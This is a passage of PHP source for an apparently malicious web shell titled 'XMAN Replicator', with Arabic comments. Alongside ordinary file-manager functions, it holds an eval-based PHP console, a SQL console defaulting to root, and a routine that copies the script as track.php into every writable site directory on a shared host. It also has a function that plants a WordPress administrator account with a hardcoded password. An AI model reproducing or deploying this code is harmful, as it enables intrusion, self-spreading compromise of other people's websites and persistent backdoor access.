true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, 'show_img' => true, 'show_php_ver' => true, 'show_gt' => true, 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => '', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); $fm_config = empty($_COOKIE['fm_config']) ? $fm_default_config : unserialize($_COOKIE['fm_config']); // لغة if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * 30)); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = empty($_COOKIE['fm_lang']) ? 'en' : $_COOKIE['fm_lang']; $lang = json_decode($translation, true); // دوال الترجمة function __($text) { global $lang; return isset($lang[$text]) ? $lang[$text] : $text; } // ========== دوال replication من NovaShell ========== // دالة البحث عن بنية الاستضافة ونسخ السكريبت function replicate_script($code) { static $once = false; if ($once) return []; $once = true; $start = __DIR__; while ($start !== '/') { // البحث عن مجلدات domains في مسارات الاستضافة المشتركة if (preg_match('/\/u[\w]+$/', $start) && is_dir("$start/domains")) { $urls = []; foreach (scandir("$start/domains") as $dom) { if ($dom === '.' || $dom === '..') continue; $pub = "$start/domains/$dom/public_html"; if (is_dir($pub) && is_writable($pub)) { $path = "$pub/track.php"; if (file_put_contents($path, $code)) { $urls[] = "http://$dom/track.php"; } } } return $urls; } $start = dirname($start); } return []; } // دالة إنشاء مشرف ووردبريس function create_wp_admin($cwd) { $wppath = $cwd; while ($wppath !== '/') { if (file_exists("$wppath/wp-load.php")) break; $wppath = dirname($wppath); } if (file_exists("$wppath/wp-load.php")) { require_once("$wppath/wp-load.php"); $user = 'nova'; $pass = 'Nova@2025'; $mail = 'nova@galaxy.com'; if (!username_exists($user) && !email_exists($mail)) { $uid = wp_create_user($user, $pass, $mail); $wp_user = new WP_User($uid); $wp_user->set_role('administrator'); return "

✅ WP Admin 'nova' created

"; } else { return "

⚠️ User or email exists

"; } } else { return "

❌ WP not found

"; } } // ========== دوال XMAN الأساسية ========== function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = scandir($file); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) return $size . ' bytes'; elseif ($size <= 1024 * 1024) return round($size / 1024, 2) . ' Kb'; elseif ($size <= 1024 * 1024 * 1024) return round($size / (1024 * 1024), 2) . ' Mb'; elseif ($size <= 1024 * 1024 * 1024 * 1024) return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; else return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { if (is_file($f)) return filesize($f); $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') continue; if (is_file($f . '/' . $file)) $size += filesize($f . '/' . $file); else $size += fm_dir_size($f . '/' . $file, false); } closedir($dh); return $size; } } function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '
' . stripslashes($vdump) . '
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < ($num_fields - 1)) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return .= "\n\n\n"; } // حفظ الملف $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($path . $file, 'w+'); fwrite($handle, $return); fclose($handle); return $file; } // ========== معالجة الطلبات ========== // حذف if (isset($_GET['del'])) { $t = realpath($_GET['del']); if (strpos($t, $main_path) === 0 && file_exists($t)) { fm_del_files($t, isset($_GET['rec'])); $msg = __('Deleted') . ': ' . basename($t); } } // تنفيذ replication if (isset($_GET['replicate'])) { $code = file_get_contents(__FILE__); $urls = replicate_script($code); if (!empty($urls)) { $msg = "

✅ تم النسخ إلى المواقع التالية:

"; } else { $msg = "

❌ لم يتم العثور على بنية domains قابلة للكتابة.

"; } } // إنشاء مشرف ووردبريس if (isset($_GET['wp'])) { $msg = create_wp_admin($path); } // رفع ملف if ($_FILES) { move_uploaded_file($_FILES['upload']['tmp_name'], $path . basename($_FILES['upload']['name'])); $msg = __('Files uploaded'); } // إنشاء مجلد if (!empty($_POST['mk'])) { $d = $path . basename($_POST['mk']); if (!file_exists($d)) { mkdir($d); $msg = __('Make directory') . ': ' . basename($_POST['mk']); } else { $msg = __('Error occurred'); } } // حفظ التعديلات if (isset($_POST['save']) && isset($_POST['file'])) { $f = $path . basename($_POST['file']); file_put_contents($f, $_POST['content']); if (!empty($fm_config['restore_time'])) touch($f, filemtime($f)); $msg = __('File updated'); } // تغيير الصلاحيات if (isset($_POST['chmod'])) { $file = $path . basename($_POST['file']); $mode = fm_convert_rights($_POST['rights']); if (fm_chmod($file, $mode, isset($_POST['rec']))) { $msg = __('Rights') . ' ' . $_POST['rights'] . ' -> ' . $file; } else { $msg = __('Error occurred'); } } // ========== عرض الواجهة ========== ?> XMAN Replicator

🛸 XMAN Replicator





$msg"; // شريط المسار echo "
"; echo fm_home() . " " . __('Path') . ": "; $parts = explode('/', trim($path, '/')); $build = '/'; echo "/"; foreach ($parts as $seg) { $build .= $seg . '/'; echo "$seg/"; } echo "
"; // أزرار الإجراءات echo "
"; echo "📋 نشر إلى المواقع "; echo "👤 إنشاء مشرف WP "; echo "
"; // رفع ملف وإنشاء مجلد ?>
" . __('no files') . "

"; } else { ?>
[] ✏️ 🔄 🗑️ 🗑️📁 ⬇️ 🔒
" . __('View') . ": " . basename($file) . ""; if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif']) && $fm_config['show_img']) { echo "
"; } echo ""; } } // تحرير ملف if (isset($_GET['edit'])) { $file = $path . basename($_GET['edit']); if (file_exists($file)) { echo "

" . __('Edit') . ": " . basename($file) . "

"; echo "
"; echo ""; echo "
"; echo ""; echo "
"; } } // إعادة التسمية if (isset($_GET['rename'])) { $old = basename($_GET['rename']); echo "

" . __('Rename') . ": $old

"; echo "
"; echo ""; echo ""; echo ""; echo "
"; } if (isset($_POST['rename_submit']) && isset($_POST['oldname']) && isset($_POST['newname'])) { $old = $path . basename($_POST['oldname']); $new = $path . basename($_POST['newname']); if (rename($old, $new)) { $msg = __('Rename') . " " . basename($old) . " -> " . basename($new); } else { $msg = __('Error occurred'); } } // تغيير الصلاحيات if (isset($_GET['chmod'])) { $file = basename($_GET['chmod']); echo "

" . __('Rights') . ": $file

"; echo "
"; echo ""; $rights = fm_rights_string($path . $file); echo ""; echo ""; echo ""; echo "
"; } // تنفيذ PHP if ($fm_config['enable_php_console'] && isset($_POST['php_code'])) { echo "

PHP " . __('Console') . "

"; echo "
" . htmlspecialchars(fm_php($_POST['php_code'])) . "
"; } // تنفيذ SQL if ($fm_config['enable_sql_console'] && isset($_POST['sql_query'])) { echo "

SQL " . __('Console') . "

"; echo fm_sql($_POST['sql_query']); } // عرض صناديق الإدخال echo "
"; if ($fm_config['enable_php_console']) { echo "

PHP " . __('Console') . "

"; echo "

"; } if ($fm_config['enable_sql_console']) { echo "

SQL " . __('Console') . "

"; echo "

"; } // عرض وقت التوليد if ($fm_config['show_gt']) { $endtime = explode(' ', microtime()); $endtime = $endtime[1] + $endtime[0]; echo ""; } ?> '; } function fm_home() { return '    '; } function fm_url() { return $_SERVER['PHP_SELF']; } function fm_img_link($file) { return '?img=' . base64_encode($file); } function fm_chmod($file, $mode, $rec) { if (@chmod($file, $mode)) { if ($rec && is_dir($file)) { $items = scandir($file); foreach ($items as $item) { if ($item != '.' && $item != '..') { fm_chmod($file . '/' . $item, $mode, true); } } } return true; } return false; } function fm_convert_rights($str) { $map = ['r' => 4, 'w' => 2, 'x' => 1, '-' => 0]; $owner = $map[$str[0]] + $map[$str[1]] + $map[$str[2]]; $group = $map[$str[3]] + $map[$str[4]] + $map[$str[5]]; $world = $map[$str[6]] + $map[$str[7]] + $map[$str[8]]; return intval($owner . $group . $world, 8); } ?>